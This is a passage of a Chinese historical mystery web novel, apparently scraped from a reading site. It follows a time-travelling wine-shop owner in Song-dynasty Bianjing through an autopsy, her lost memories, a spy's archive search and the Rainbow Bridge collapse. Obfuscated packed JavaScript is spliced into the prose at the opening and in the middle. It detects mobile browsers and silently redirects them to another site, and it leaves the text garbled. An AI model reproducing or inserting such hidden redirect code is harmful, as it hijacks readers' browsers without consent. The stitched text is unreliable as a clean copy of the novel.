RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许知非没应他,刀刃分离颈部肌理,手稳神定:“喉头气管充血,无异物全塞,非典型呛噎。” 老仵作与身后学徒对视一眼,又看了看许云洲,神情微有不安。 许知非解开尸首衣物,老仵作神色愈加紧张起来。 那学徒着急开了口:“身体发肤受之父母,岂容如此亵渎?此非凌迟重犯,尔等欲乱礼法耶?!” 许云洲抬眼看他,缓声道:“陛下常言,新政贵在务实,求真乃断狱之本,此案牵涉酒政新颁,正店初立,若糊判定谳,恐损朝廷威严,亦寒商贾之心。” 他目光转向许知非,眼中光华温柔如水:“刑部郎中李大人既已许其自辩,何妨彻查?若得真相,上不负圣心求实之意,下可安汴京商民之疑。” 那学徒面色变幻,转眼间又吃了老仵作一记眼刀。 “师父……这……” “谁让你说话了!”老仵作咬牙低斥道。 许知非叹了口气,这种人命关天的事,居然还有争执些繁文缛节的…… 她动手划开尸首肌体,神色平静,轻声道:“肺表弥漫淤点,切面溢沫若泉,水侵肺络,常见于……邪毒攻心或瘴厉损脉。” 她刻意说着典籍里的句式,尽量不露出破绽,又将银针探入喉部:“银针未黑,可排除酒中砒霜等常毒。” 她拿起另一把小刀…… “胃存未化残食,酒液,至少半盏。若毒在酒中,且烈至立毙,毒酒当将胃壁蚀烂至异色,然而……”她用刀指了一下,“仅见充血,无集中溃烂,而这里……” 她用刀尖点了一下幽门及小肠初段:“有毒物气味残留。” 老仵作走近细闻,满是皱纹的眉心越拧越紧:“这是……这是……” 许知非把小刀轻轻放下,面色不改,低声道:“古代医籍有载,蜀椒、杏仁、桃仁乃至某些岭南瘴木,过量皆可致毒,气味或类似苦杏。不论如何,这味道不是非酒所有,乃毒物残留之征。” 许云洲盯着她的脸,眼神微动,适时接话:“如此看来钱员外之死,非因饮酒,是其早在饮酒之前就服了某些与酒相激,或可借酒势加速之毒。” 老仵作点头:“毒入血脉,损及心肺,发为水侵肺络,致其饮酒之后不久窒息而亡,口鼻溢血,此非毒酒杀人,乃是以酒引毒,犹如火镰早备,酒如淋油,顷刻燎原。” “所以,毒源与我春风酒幡无关,证据确凿,还请大人据实禀告,莫让真凶逍遥法外。”许知非转身,拱手一拜,动作略显僵硬,但眼神尤其坚定,根本不像是第一次干这种事。 老仵作微有惊惧,忙拜道:“老夫自当如实上禀,只是不知坊主如何习得此等技法,着实让令老夫惊叹。” 许知非眼睫一颤,冷静道:“家传的手艺,小时候……常剖牲口。” 老仵作和身后学徒面面相觑,一时哑口无言,再看许云洲垂眸含笑之态,两人又相互确认了一下,当是默认。 许知非看过在场几人脸色,许云洲的身份她尤其怀疑起来,但至少好用…… 她在桌上水盆里洗了手,甩干了水:“我可以回去了吗?” “自然可以,狱卒就在外面。”许云洲温声答道。 “我再问你一次,你究竟是什么人?”许知非走到他面前,抬起头来,看着他的眼睛。 许云洲似对她言行见怪不怪,眼中笑意更深,俯身凑近她的脸:“你究竟是什么人?”他把“你”字说的很重。 两人鼻尖几乎碰上,许知非往后退了一点,强作镇定也要镇定。 “好,那就这么着吧,你不说,我不问,挺好玩的。” 她拍拍衣裳边角,转身去开门。 许云洲答道:“活着就有意思。” …… 三月十七 许知非还没睡醒,就有狱卒来找她。 “许坊主!许坊主醒醒!” 她朦朦胧胧坐起来,手边碰到一点黏糊糊的脏东西,不知道是什么,一阵恶心,在铁栏上擦了擦。 “什么事啊,这么早?” 早起就倒霉,她想着大概率不是什么好事。 “许坊主,您可以回去了。”那狱卒态度端正,把铁门打开。 许知非擦干净手,眼里还带着酸涩,扶着铁栏站起来:“我直接从这里回去?” “是,孙大人吩咐了,案情已查清,如今搜捕的范围已定在了一家老旧药铺里,您可以回去了。” 许知非忧心不减,点了头,慢慢往外走。 雷捕头亲手撕掉了春风酒幡大门上的封条,许知非回来时,已有客人坐在堂里喝酒,都是老客,见她回来都打招呼,分毫不提晦气的事,只夸她气色不错,新酒好喝。 许云洲坐在角落里,指尖流出琴音,幽静婉转,门外不断有人三三两两寻音而来,赵伯一一接待,领了座,交给青禾安排酒水。 “小坊主,小坊主你可算回来了。”他迎上许知非,在她身上各处都看了看,又绕着她走了一圈,“可有伤着啊?啊?快让小老儿看看。” “我没事,就是身上臭。”许知非微微笑道,自己闻了一下脏兮兮的衣袖。 青禾把酒端到新客面前,高声道:“坊主,那弹琴的说你今早就能回来,你屋里热水已备着了,火烘着,就是等你回来洗洗,去了这晦气!” “知道了,多谢。”许知非大声回他,往二楼去。 许云洲琴音清幽,堂间静下去后,又似入了另一番幽境。 酒客交谈声皆温和低沉,欢笑声也恰到好处,一杯一盏在琴声里皆是点到为止。 许云洲一曲弹罢,目光扫过酒坊各处,看见二楼房门正好关上,传来轻轻一声响动。 许知非脱下身上脏衣,绕过外间素屏,爬进青禾说的……早就备好的浴桶里。 热水包裹而来,晦气似乎真的在散出去。 她闭眼呼吸,整个人松下去,想起许云洲如有神通的手段,他对这些事好像没有任何疑问,连刑部都给他三分面子……而她,眼前处处都是疑问。 “这人肯定有问题……说不定搞事情的就是他。” 原身记忆零碎,如果她是猝死穿越,那原身呢?她去了哪里? 她睁开眼,低头看见水里模糊不清的倒影,那张脸,跟她长得一模一样。 5. 悬崖 她拨了一下水面,看着那道虚影散开,她要是死掉,会不会原身就能出现?或者说……记忆! 她整个人滑进水里,热水瞬间裹紧了她的脸,水声灌进耳朵里。 她发现自己的身体好像渐渐变轻了些,慢慢的……人在水里的失重感变得越来越明显,她紧紧闭着眼,感觉到自己好像在坠落,她看到了画面,是悬崖……很黑……有人在悬崖上面…… 是她的记忆…… 那个人在看着她掉下去,她想看清那个人的脸,口鼻有气泡溢出来,她用力屏紧了呼吸,听见自己的心跳声,究竟是谁? 濒死的感觉令一部分记忆开始完整,她在调查自己的身世,房间里的地图是她为自己标记的逃生路线,庆历七年……军器监……她看不明白什么意思。 记忆里有一封信件,在她就要看清楚时,心跳猛地加速,下坠感变得更加剧烈,眼前又成了漆黑的悬崖,她掉了下去,悬崖上有个人影,很黑,她越窒息,那张脸就越清晰。 在她快要看清时,一只手像铁钳一样抓住了她的手臂,不由分说地将她一把提起来。 “哗啦”一声,冰凉的空气扑在她身上,汹涌着灌进她的呼吸里。 有人把她从水里生生拔了起来,她一只手抓住了桶沿,试图睁开眼,睫毛上的水落进眼睛里,她不得不又再闭上。 她用手拨开脸上的头发,抹掉了睫毛上的水,睁眼看见水浪撞出了桶沿,泼在一身青灰色的长袍上。 许云洲的脸出现在她眼前,两人四目相对。 他半倾着身子,一只手牢牢抓着她,胸前往下衣袍尽湿,长发半束,垂落的发丝应是在水里拖了一圈,如今贴在身上滴着水。 他眼中满是惊悸,在她睁眼时睫毛一颤,像是愣住了。 空气似乎凝固了一瞬,许知非大叫:“啊!!!!!!!” 许云洲像烫到一样松了手,背过身去,脊背看得出僵硬,一侧衣袖从水里带出来,又拖了一地的水。 许知非转身背向他,人缩到离他最远的位置,房中水声摇晃,能听见两个人同样紊乱的呼吸声。 “我刚刚敲了门,你没应……” “我没应你就能进来吗?” “我是以为……而且……刚刚你……” “出去!” 许知非声音发颤,无论如何解释都说不通,就怕这人不是什么好东西,敲门不应就偷偷溜进来,搞不好就是图谋不轨,盯上原身多时了。 许云洲没再说什么,离开时脚步略显仓促,走出内室,轻轻带上了房门。 许知非听见门响才慢慢转过身来,挪到屏风旁边,伸手取了自己的衣裳。 她动作小心翼翼,警惕着每一丝可能的声响。 但直到穿好衣服,也没再听见外面有什么动静,她擦着头发走出去,房间里没有人,只有一地水迹,一直延伸到房门外面。 许云洲背靠着门,扶额闭眼,静静调整着呼吸,高大的影子印在门上。 许知非把擦头发的棉布扔在桌上,套上一身男装,把湿发挽成男人的样式束起来,走过去,站在门前,看着那个影子。 “你找我什么事?” 她等了一会儿,看见那个影子动了一下,好像转了个身,却没有回答……奇奇怪怪的…… 楼下还有客人,如果打开门,赵伯和青禾都能听见她喊…… 她拉开门,有意识地背靠一侧门板,这样他就没办法轻易关上。 许云洲头发还滴着水,胸前衣料湿透了贴在身上,有些狼狈,却像在检查什么物件一样,目光在她声上游走:“你……没事?” 许知非警惕着,背后紧紧压着门板:“我没事,你有什么事?” 他看起来像是很担心,心有余悸的模样,难道真的只是意外?他不是故意闯进来的? 他不回答,只看着她,呼吸很重,许知非渐渐有些发毛:“喂……” 他眼神渐渐没了焦点,好像开始发呆,她抬起手在他眼前晃了晃:“喂……你干嘛?” 许云洲眼一眨,转开脸去:“没事,怕你遭人暗算,我这生意做不了,赔光本钱,所以上来看看你,刚刚……纯属意外……抱歉。” “什么人会暗算我?”许知非眼中寒光略过,眯了一下眼,紧盯着他的脸。 “不想让你知道真相的人。”许云洲转过脸来,直视她的眼睛,眸中一片冷漠。 “真相?我想知道什么真相?” 许云洲微微笑起来,又是一副温润公子的神态:“许坊主以为自己做的事情没人知道吗?我会傻到做赔本的买卖?” “那你说说,我做了什么?我现在自己都不知道了。”她说的是实话,神色自然坦荡。 许云洲俯身靠近她:“许坊主,有些事,不能太急,老老实实做生意,方为正道。” “我什么时候急了?” “验尸的时候。” 许知非脸色一僵,那种手段,若不是许云洲压下去了,今天怕是刑部要来拿她,还哪里能回到这里来…… 许云洲轻笑一声,转身往西厢走去,那里几天前就已是他的住处。 楼下酒客渐渐多起来,许知非靠近栏杆往下张望,有人跟她打招呼:“许坊主!听说你帮孙大人破了大案,真是真人不露相啊!” 许知非尴尬笑笑,究竟案子如何了她其实并不清楚,只能回道:“诸位喝好,承蒙关照。” 那酒客朝她举杯,仰头痛饮。 可听这话,他们像是知道她验尸的事?她看向许云洲走远的身影,眉头拧了起来,该怎么下手呢…… 她回到房间里,关上门,熙攘声轻了不止一点,仅存的一丝疲惫在精神松懈之后往身体各处扩散开,她走进花罩里,背靠敞开的窗户晒太阳,把没干的头发散下来。 “她究竟做了什么?许云洲又是怎么知道的?她的记忆里明明没有他。” 她闭上眼睛,想着这具身体的主人:“你在哪里?” 灵魂夺舍和鬼神之说在她的认知里不合逻辑。 微观粒子?量子世界里,粒子可以同时处于多种可能的状态,直到被“观察”到的那一刻,它的状态才会成为确定的一种。 著名的“薛定谔的猫”,在打开盒子前,既是死的又是活的。 那这个世界,这个时间点,这个叫“许知非”的人,在某个不可言说的瞬间之前,是不是也存在着很多可能? 一种是,那个原来的许知非,这个世界的许知非,在某一天悄无声息的死了,而她刚好来到了这里,她本就是另一个平行时空的她自己,因此,对应了某些同频的理由,她的意识自动占用了她的身体。 而另一种……可能是……来自另一个时空的她,她的意识,她的观察,在某种无法理解的扰动或者巧合下,投射到了这个濒临消亡的身体上。 于是,“观察”发生了。 当她的感知照亮了这个节点,这个名为许知非的存在的死亡可能性被排除,而来自现代的她在这里苏醒并存活的可能性成为了现实。 还有许云洲刚刚的眼神……他到底在确认什么?那种惊悸难消的神情根本就不像是对一个刚认识不久的人会有的情感。 “我是不是……占了她的身子,而他……知道?以为我图谋不轨?!……天大的冤枉啊!” 她握紧了拳头,这种事,真是跳进黄河也洗不清。 凶手……对了,如果找到凶手,是不是她的嫌疑就洗清了? 她用力去想那个几乎要看清的人影,那个人就在悬崖边上,站得笔直,好像在看着她掉下去。 “我会在这里醒来,会不会是受了什么外力的作用?” 她心里浮起许许多多的念头,本来细微的疲惫感越来越重,披在背后的头发不知不觉已干透,她侧过身去,靠在窗上,长发从肩上垂落下来。 不久,有人走进屋里,把她抱起来,放在床上,又去关了窗户。 …… 夜色沉落,汴京坠入梦河,不会持续太久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030741|194548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 春风酒幡二楼西厢窗边,一个青灰色的身影静静站着,许知非房中始终没有亮灯,他神色渐渐沉凝。 他换了一身墨蓝劲装,布料是皇城司特制的,行动中没有任何声响。 他把头发束起来,面上温和不知何时褪尽,神色变得冷冽沉静。 他推开后窗,身影掠向许知非窗前,倒挂在屋檐上,挑开了窗扇,翻进去,看见她在睡着,呼吸清浅,细听可闻。 他原路退出去,合上窗,足尖踏墙轻点,月下一道残影掠过,汴京半城屋瓦皆在他脚下,他最后落在皇城司衙署侧门外。 那条路他走过无数次,外墙比寻常衙署高出三尺,墙头嵌满了倒埋的飞镖。 他绕到东北角一棵老树下,摸到墙根几块青砖,有序叩击,砖石瞬间向内缩。 一个狭小的洞口出现在角落阴影中,从外面看,树干正好遮住。 他贴墙前行,洞道尽头是一面没什么特别的砖墙。 他侧耳听了一下墙后动静,在墙缝上轻轻一按。 墙壁内旋,露出一道刚好能过一人的缝隙,他闪身而入,身后墙壁自行复原,严丝合缝,毫无痕迹。 房中堆满了破旧桌椅,还有些残破的灯笼不知为什么不扔,全都存在这里。 高处小窗漏下几缕月色,照亮了漂浮在房中的微尘。 许云洲几步就到了门边,外面庭院里两个亲从官披甲持枪,正按固定的路线从廊下走过。 他默数了他们的脚步,在他们转身的一瞬掠出门外,借着柱影滑进对面拐角阴影中,两个亲从官回头,看见树影晃了一下,落下一只黑猫来。 他紧盯着房檐上几处暗哨的位置,接着月影云翳,躲过了他们的视线,最后在一处高窗下停住,伏低在柱影中。 他抽刀插入窗缝,轻轻一挑,闩木无声滑开,他翻身而入,关上窗,身后是一排排高大的木架,直抵房梁。 几盏长明灯幽幽燃动,他径直走向最角落的一个架柜,足尖轻轻点在架子上,借力跃上了高层,手指轻轻一勾,一卷蒙尘的卷宗落在他手里,他飘然旋身,稳稳落地。 卷宗上标注:“庆历七年戊子卷·乙字叁佰壹拾叁号,汴京军器监失火及许家灭门案。” 他拆开卷宗套布,借着远处灯火快速查阅:“军器监主簿许文谦宅遭贼寇侵杀,邻舍皆闻叫喊声,勘验尸首共计一十七具,皆为许氏家眷、仆役,许文谦死于书房内……” 他将那份开封府的初报抽走,叠在最下方,又看见一份当时的皇城司密保,字迹全然不同,措辞强硬:“许文谦近半载行迹可疑,多次密会不明身份者,经查,军器监失火乃是其烧毁图纸杂物所致,火场残骸验出非制式火器零件及疑似辽文残片……虽无确证通敌,但事出蹊跷,其死因恐为辽人灭口,涉嫌军机泄漏之罪。” 再往后几张,是层层上报、议处、结案的公文往复,言辞逐渐从“疑点颇多”转向“作风不正,遭人劫掠,属意外身故,然其管理不善,造成军机损失和重大伤亡,有亏职守”,最终案子落在“追夺刘文谦生前官职,家产充公,以儆效尤”的结论上。 他反复的看,神情逐渐焦灼,似极力想要找到什么,动作间,指尖触到卷宗最后本该缝合的地方,有些浆糊沾粘的痕迹。 他手一停,翻转来看,抽出一把小刀,仔细划开了粘合的地方。 夹层里滑出了几张纸,质地较前面的新,墨色也新,是不久前放进去的…… 第一张字迹仓促,写道:“经核查,许府清验第三日,在后院角门石景一侧发现血迹和孩童挣扎痕迹及脚印,循迹至西侧一处狗洞,有破碎衣料,色泽纹样与许家幼女相符,然庆历七年开封府衙吏私心,有意瞒报,遂无人追查。” 第二张,字迹潦草:“……据当时城门守吏证实,灭门案次日确有病童出城,裹着厚布巾,辩不清面目。” 最后一页纸质最好,墨色深重有力,是他自己写的,只有一句:“许氏余孽,毋令妄动,静观其变。” 6. 虹桥 许知非醒来时天色要亮不亮,她下床去开窗户,“咔嗒”一声,她动作慢了下来。 “我什么时候睡着的?” 她回头看了看自己的床,感觉不太对,睡着之前的事情竟然好像从她脑子里清空了。 她甩了甩头,大事不妙……到底哪里出了问题?钱员外到底是怎么死的?许云洲……他到底控制了多少? 她换上一身男装,将长发束紧,对着铜镜粗略检查了一下:“连个镜子都黄黄的,真是麻烦。” 她小声嘀咕着,低头看看身上,确认没什么破绽,开门出去。 门外,空气都是凉的,酒坊还没开沽,青禾从屋里出来,一副没睡醒的样子:“夜里五更才落灯,小坊主……” 五更?三点? 正店是好像要开得更晚些,宋朝确实有夜市,听说皇帝还点外卖…… “现在是什么时间?” “时……”青禾皱眉苦思,望了一眼外面的窗户,仍是累得不行的样子,“时辰……卯时吧……” 外面传来鸡鸣声,小时候公鸡叫的时候大概就是五六点……许知非点了点头:“哦,那我去后面看看酒。” 她走下楼去,看见桌椅都是干干净净的,店里只有两个人,好像是累了些…… 她走进后面院子里,酒窖里的酒都安置的很好,新酒的坛子里沉淀已压实,能盛上来了。 开店先要做的是本分,不管怎样,先保证酒要出来,她想了一下,开始动手。 竹子做的导管刚放进坛子里,许云洲紧绷深邃的眼神在她的脑海中一晃而过,她手一抖,碰到了底下的沉淀物,忙收了手。 “是什么时候的事……”她想不起来,看着管子上的酒液滴在地上,“……水?” 地上湿迹一点点累积,跟某些记忆重合,她尽力去想,猛地一阵晕眩,伸手扶住了墙。 “不行,这样不是办法。” 她定了定神,动手导酒,澄心酿清透如同蜜水,逐渐装了三四个小坛,封上荷叶,油纸,泥封…… “这纹样……” 泥封上,多了一个缠枝绕成琴轸形状的印记,她又去看了一下别的坛子,发现泥封全都已经换成了新的。 这印记就是他们酒坊的标识了,那个人什么都办妥了,却丝毫没有要跟她交代吗?什么意思?上头有人了不起了? 她把酒一坛坛封好,快步上楼,在西厢房门前刹住了脚,犹豫一瞬,用力拍门:“许云洲,你出来!” 应她的是一片寂静,外面鸡啼再次响起,这次位置更远些,酒坊大门外面还有车轮碾过的声响。 “许云洲!”她提高了声音。 青禾住在跟她相邻的一个房间里,拉开门,一脸气恼走过来,猛地一脚踹开了许云洲的房门:“你他妈没听见坊主叫你吗?!” 他走了进去,然后人停在屋里,许知非吓了一跳,试探着往里走,虽不知合不合礼法,但当时的情景……她觉得反正也没别人。 青禾像是累得不成样子,大口喘着气,眉心拧紧了,眯着眼,面朝西厢床铺的位置:“人呢?” 房间空荡荡的,那张七弦瑶琴静静放在窗前桌案上,线香燃尽后断了几段在桌上,有几点香灰落进了琴弦底下。 这人一夜没在? “他昨晚有在店里吗?”许知非发觉自己像是睡了一日一夜,前一天的事情当真什么都想不起来。 青禾摇头:“没看见,我以为你们在一块儿。” “我怎么可能跟他在一块儿?!” 青禾神情极度懊恼,看起来很头疼,眉心拧在一起,一只手揉了一下额角:“你们不是关系很好?” “你怎么看出来我们关系好了?” “关系不好能连本做生意?” “不过权宜之计,别无他法,不然,这酒坊迟早要完的。” 青禾冷笑,往外走:“我去睡了。” 他头也不回,好像有点起床气……这人还挺尽职的,原身记忆里,他的爹娘是她家里的旧仆,他们是一起长大。 许知非跟到门口,看着他“砰”地一声关了门。 她回头看了看许云洲的房间,想不通他会去哪里,天还没亮透,昨天…… 昨天发生了什么? 她是走回来的,这个她很确定,然后……睡着了?可身上是干净的……换了衣服…… 不好的感觉越来越强烈,她勉强定了定神,如果她忘了什么,那要么是她的脑子出了问题,要么……就是有人出了问题。 门外街市已经渐渐醒过来,有脚店支起了酒旗,趁城南正店都歇下去,开沽赚点夹缝里的钱。 许知非走到街上,看见骡车马车来来往往,刘记汤面摊早食已上,三教九流陆续坐下,闲谈议论最多的就是这样的地方。 她循着原身一点记忆,要了一碗素汤面,挑了个角落坐下,慢慢吃着,状似无意,耳朵里捕捉着飘来的每一句交谈。 “……听说了么?钱员外那事儿,昨儿有眉目了!” “哦?不是说是春风酒幡的酒有问题?” “早翻篇了!人家小坊主亲手验尸,证得明明白白,老仵作都没意见,说是有人先下了毒,借酒发作,开封府的人,啧啧,那脸都绿了。” 此人多少有点夸张,好像在学那边说书的语气,但句句都是消息,许知非抬眼看了看,确认不是说书的本人,又低下头去吃面。 “那凶手抓到没?” “哪那么容易抓到,那么容易抓到了就不叫凶手了,那叫傻子!听说啊,顺着那毒药查了,好像说……是几种少见的草药,得跟酒混着才成事。” “草药?哪家药铺敢卖这种东西?” “这就不清楚了,官府的事儿,哪能都嚷嚷出来……” 毒物来源是关键的突破口,她几口吃完了汤面,留下钱,起身离开。 汴京有几条开着药铺的街市,原身记忆里,钱员外家在城西,她估摸着方向,往西城梁门大街去。 不会就问路,她走得不急不缓,一身男装普普通通,无人注意。 药材的气味渐渐飘散而来,药铺不多,门前都挂着幌子,伙计和坐堂大夫有的在分拣药材,有的在接待客人。 许知非假装闲逛,视线扫过各家铺面,留意着进出人员和伙计的神色特征,偶尔慢下来,听听店铺里的对话。 她一直走到艳阳高照,无从下手,一无所获,正当迷茫,看见街角一家名为回春堂的药铺。 那铺面门庭略显冷清,与附近几家客流不断的铺子对比鲜明。 一个年轻伙计坐在门前石阶上,一大早就无精打采,看起来是有什么心事,眼下青黑,眼神飘忽,抬头看了看她,有低头看地板。 许知非犹豫着,一时也不知道要不要去看看。 两个开封府的衙役按着佩刀大步走来,从她面前经过,径直进了回春堂。 那个伙计站起来,大大叹了口气,跟了进去。 铺子里传来斥问声,似乎还有带着哭腔的辩解,是个男人,听起来年纪很大? 又过了一会儿,两个衙役押着那个年轻伙计走了出来,一个头发花白的老者追到门口,看衣着应该就是掌柜的。 他满脸焦急,拱手说着什么,许知非不敢太往前,听不清。 只见两个衙役挥了挥手,押着人走了。 看热闹的人渐渐围拢,指着药铺议论纷纷。 “回春堂出事了?” “好像是卖了不对的东西……” “莫非跟钱员外那案子有关?昨日就听差爷来问过……” “造孽哦,那小董伙计看着挺老实……” 许知非默默听着,只抓了伙计?掌柜没事?那凶手呢?谁去买的药?为何下毒? 她等到人群稍稍散去,装作路人,搬出一脸好奇的表情,凑近一个还在与路人闲话的老者:“老人家,这铺子出了什么事?刚看官差抓了人走?” 老者打量她一眼,压低了声音:“说是买错了药,吃死了人!就是前几日暴毙的钱员外!啧啧啧啧,真是要钱不要命,那种药也敢随便卖!” “卖错了药?”许知非顺着问道,“伙计卖的吗?买药的人抓到没?” “伙计抓了,买药的?”老者摇摇头,一脸讳莫如深,“听说是个生面孔,买了就走,分了几天几次趁着人多时来买,没记清张什么模样。官差来问了几趟,掌柜和伙计都说不出子丑寅卯来,我看啊,悬!那买药的怕是早就没影了,差爷没办法,只好拿个糊涂伙计交差。” 正说着,回春堂的老掌柜送了个像讼师模样的年轻人出来,两人在门口低声交谈了几句,那年轻人摇头叹气,理了一下身上丝绸长衫,转身离开。 掌柜的回店,用力关了半扇门,看起来是不打算做今天的生意了。 这样的话,是线索断了? 许知非仍不明白,官府找到了源头,抓到了可能涉案的伙计,却没能揪出买凶下毒的真凶? 这个老实伙计到底是真不记得还是有人让他不记得呢?买药的是不是经过伪装?或者……根本就是不直接露面的中间人? 许知非站在街角,天上太阳渐渐有了热度,案子看似有了进展,实际上却陷入了更深的迷雾里。 凶手心思缜密,利用混合毒性,选择了不易追查的购买方式,今日一点这个,明日一点那个…… 事后远遁……不,或就隐在人海中,更可能,就在附近,许知非猛地回头,看向各处街角、巷口…… 那个凶手,可能就在某个地方,看着官府抓走一个替罪羊,还可能笑了。 …… 许云洲离开皇城司时是从自己的值房里出来的,没人看见他进去,于是他柔和笑着,罚了几个值夜的亲从官,无人不服。 他离开后进了马行街上一家五更又开的脚店,墨蓝身影混在人群里顷刻消失。 刑部郎中李崇此时应是刚刚睡醒,他并不着急,酤了半壶酒,不急不缓吃了个早点。 李府落在宫城东南附近,门楣不敢显赫,离马行街不远,自有一派端肃之气。 许云洲叩响门环,门房探出头来,认得他,忙拉开门:“许公子稍候。” 他匆匆入内通报,不过片刻,有丫鬟出来引许云洲进去。 许云洲对那丫鬟点头微笑,那丫鬟羞得耳尖通红,低下头没看见他神色转瞬冷下去。 李崇穿戴整齐,从书房走出来,张开手臂,迎上他:“许公子,这么早?” “李大人。”许云洲见了礼,神色一贯的温和,眼中笑意疏淡,“清早叨扰,实为前日公堂之事,特来道谢。” 他把脚店里买到的糕点提在他眼前:“顺道带了些自认为还不错的糕点,望大人不嫌弃。” 李崇看了一眼那个油纸包,笑着摇头:“道谢是假,为那酒坊的小坊主而来是真吧?里面请。” 他示意他往前堂去,又邀他坐下。 “大人明察,前日若不是大人主持公道,恐怕一桩冤案已成,市井又将多一桩事关新政的丑事。” 李崇指节敲了敲桌案:“那许知非……验尸的手法我已听说了,令人匪夷所思啊,她绝非常年困于市井酿酒的人,许公子,”他目光陡然深邃,盯着他,“你这位义弟,究竟是什么来历?” 许云洲迎上他的目光,神色自若,端起丫鬟刚上的热茶,吹了吹:“李大人果然心细如发,不瞒大人,此事……正是云洲近日在查的一桩隐情,乃是陛下授意。” “哦?” “此人与一桩旧案有关,”许云洲放下茶盏,低声道,“庆历年间,军器监许文谦之事,大人可还记得?” 李崇并不惊讶,端茶细品:“略有耳闻,军器监大火,涉及军机泄漏,许家是自食其果,遭人灭口,但听你的意思……” “许知非,很可能便是许家当年侥幸逃脱的遗孤,至于她为何懂得验尸……云洲还在核查。”许云洲观察着李崇的反应,又道,“只是此事牵连甚广,当年结论虽下,但背后是否另有隐情,是否涉及……”他停了一下,意味深长道,“……党争?陛下说……未可知……” 李崇呼吸重了几分:“你早就知道他的身份,为何还要认作义弟,让他在京城立足?这不是隐患吗?!” “正因身份可疑,才需放在眼皮底下。”许云洲放下茶盏,食指敲了敲桌面,“是遗孤,还是被人利用的东西,背后是不是有当年案情留下的余孽?与其让他流落在外,变成可能制造事端的人,不如看顾在我视线之内。且他手段不凡,或许正好借探查旧案线索,引蛇出洞。” 李崇沉思良久:“可他昨日风头太盛,旧党那些人,尤其是司马君实门下,不会放过可疑之处,若他们……” “所以云洲今日前来,”许云洲把从皇城司带出来的字条交给他,“盼大人能与云洲联手,稍加回护,许知非如今只是一介平民酒商,其验尸之能,于厘清案子,彰显新政有益,至于其身世……牵扯旧案,恐生枝节,动摇当下新政大局,不若暂且按下,容云洲暗中查明,若果真许家自有清白,或可成为助力,若有不妥,再行处置不迟,一切,当以时下新政为重。” 他言辞恳切,神色郑重,李崇思虑良久,叹了口气,似妥协,又似警告:“许公子,你知交甚广,于朝政江湖,都有你的手段,这些老夫不过问,但此人若行差踏错,或牵出不可控之事,危及新政……” “云洲明白,一切干系,云洲自当承担,必不令大人为难,不使新政有损。” 李崇揉了一下眉心,把那张本该归档在皇城司的字条举在他眼前摇了摇,放在桌面上:“此事我暂且当作不知,但你需约束此人,莫再如此招摇,汴京城里,眼睛太多,我也不是神人,不是什么都能给你保住的。” “谢大人” 许云洲起身拱手,却像在等着什么,不急着往外走。 一个小厮闯进门来:“大人!大人不好了,虹桥出事了!” …… 三月十八,巳时末,汴京东水门外,虹桥熙攘拥挤,水路舳舻相接,通济渠来的粮船货船还有客舟挤挤挨挨排着队,物资都需验牒、抽解,许多舟楫从卯时就已等在水面上。 河市鼎沸,虹桥桥面人流如织,摩肩接踵。 许知非沿着汴河从东水门出来,大概摸清了汴京从城西到东南地段的道路,她又想了想房间里那张地图,心想就算逃命,应该大致……也不会迷路吧。 “还真是热闹啊。” 她从没见过这样的景象,站在河边观望,考虑着要不要去问许云洲案子的事,一时也不知要去哪里,又不想回去,就跟着人群上了桥。 摆摊的贩夫有卖河阳焦枣的,有兜售糖食的,还有现做肉饼的,炉子热气蒸腾,倒真应了那个词:“人间烟火”。 她小声自语,耳边全是叫卖声、还价声、骡马嘶鸣、车轮轧过桥板的隆隆声。 声音全都揉在一起,她以为自己最怕的就是这么吵,可当时却感觉好像还行…… 几个苦力喊着号子,将一辆载满汝窑青瓷的车往桥顶推,车子很重,车轮碾过旧桥板,传出沉闷的吱嘎声。 不远处,有个行脚僧不知为什么跟一个路人起了冲突,相互推搡,说好的四大皆空呢?许知非远远看着,那和尚好像还生气了。 两人推搡间撞到了香铺伙计扛着的香木屑,碎屑簌簌落下,掉进了桥缝里。 许知非边走边看,在桥中间停下,最高处,回眸远眺,真是跟画里差不多。 桥洞下面,水流湍急,一艘宽体货船正欲过桥,好像载的是什么木材,船公高声吆喝着,指挥招头和水手落帆下桅。 她走到围栏边,探着身子往桥下看,有个黑影一闪而过,她恍惚了一下。 眼前景象比电视里壮观不少,全是活生生的人气,大白天的有个怪人不可能旁人都没反应啊,难道是她看错了? 一艘从江淮来的官粮船等得不耐烦,船头一个押纲小武官厉声催促起来,声音穿透了河岸嘈杂,引得不少人都看过去。 七八条小船是载了客和鱼?看不清楚,在大船之间见缝插针,穿来穿去。 那些撑船的都很淡定,好像这样做是寻常的事,没什么危险。 许知非看得入神,觉得自己像个游客,忽然看见那个黑影从桥洞里窜了出去,很快钻进人群里。 她愣了一下,循着黑影离开的方向往河对面走…… 船舶队伍走得很慢,滞留的押纲官兵连同一些商贾纷纷上岸,在岸边的茶摊食肆里歇脚,交换行情。 河岸摊位肉饼热气腾腾,鱼羹是汴河鲜鱼做的,包子小摊炉火正旺。 许知非挤进人群里,硬是没再看到那个黑影,身旁经过几架广济河方向来的货车,眼看载满了陶器和石料,是要过桥的。 她往旁边让了一下,本来没在意,正要往前走,却听见身后一连串木头断裂的声音,而后是陶器翻倒砸碎的声响,紧接着叠上了许多人的呼喊声,还有很多东西碰撞倒落的轰响。 她回头一看,虹桥整个桥身已往东水门的方向倒下去,桥上人群、货物、车马像是被一只大手一把扫进了汴河里。 桥身砸断了那艘载着木材的船,满船木料滚进了河里,另一部分断落的桥体砸了后面粮船的船头,离得近的几艘小船直接连人带船掀进了水里,惨叫和求救的声音瞬间充斥了整片河岸。 许知非目睹了全过程,而她刚刚从桥上下来,简直难以置信,意思是……刚才满桥的人都掉进了水里? 东水门城楼上,殿前司守军鸣锣吹角,却没有动手救人。 河面上,杂物和血迹交错漂浮,许多人在河水里挣扎呼救,两岸人群惊恐奔逃。 